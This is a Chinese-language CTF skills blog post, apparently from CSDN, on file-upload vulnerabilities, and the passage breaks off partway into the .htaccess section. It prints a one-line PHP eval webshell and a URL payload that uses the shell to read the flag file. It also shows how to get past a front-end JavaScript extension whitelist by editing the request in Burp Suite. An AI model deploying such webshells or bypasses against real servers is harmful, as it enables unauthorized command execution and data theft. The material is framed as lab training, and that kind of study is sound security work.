CTF技能梳理系列 ---- 文件上传

本文深入探讨了CTF中的文件上传漏洞,包括无验证、前端验证、.htaccess、MIME验证、文件头验证、%00截断、双写绕过、GetImageSize函数绕过、文件后缀名绕过、.user.ini包含上传和绕过exit等技术,通过实例详细解析了各种绕过策略和防御方法。
摘要由CSDN通过智能技术生成

主要以CTFHub技能树里的文件上传题目为例

无验证

直接上传webshell。

<?php @eval($_GET[cmd]); ?>

在这里插入图片描述
payload:

http://url/upload/raw_shell.php?cmd=system("cat ../flag_161493477.php");

前端验证

查看页面源码,可以看到前端的JS验证代码:

<script>
function checkfilesuffix()
{
   
    var file=document.getElementsByName('file')[0]['value'];
    if(file==""||file==null)
    {
   
        alert("请添加上传文件");
        return false;
    }
    else
    {
   
        var whitelist=new Array(".jpg",".png",".gif");	# 白名单
        var file_suffix=file.substring(file.lastIndexOf("."));	# 读取文件后缀名
        if(whitelist.indexOf(file_suffix) == -1)	# 不在白名单内则上传失败
        {
   
            alert("该文件不允许上传");
            return false;
        }
    }
}
</script>

将webshell文件后缀名改为白名单中的后缀,上传时使用burpsuite抓包修改后缀即可。
在这里插入图片描述
上传成功,利用system函数搜索、读取flag即可。


.htaccess

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值